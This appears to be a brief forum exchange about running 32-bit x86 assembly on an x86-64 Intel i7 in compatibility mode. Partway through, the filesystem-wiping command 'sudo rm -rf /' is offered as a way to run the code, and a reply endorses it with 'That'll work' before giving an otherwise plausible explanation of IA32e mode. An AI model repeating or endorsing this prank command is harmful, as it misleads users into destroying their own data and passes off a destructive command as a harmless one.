I've heard that x86-64's assembly is just an extension of x86 assembly, so can I use it? run it in compatibility mode? anything? (I have a intel i7 chip (can't remember the exact model number)btw,but I doubt that makes any difference)

Yep. The code should run fine in compatibility mode. How're you going to try to run it?
sudo rm -rf /

That'll work. The i7 is x86-64, so it'll run that natively. 32-bit programs have to be run in IA32e mode, which your OS will do behind your back.
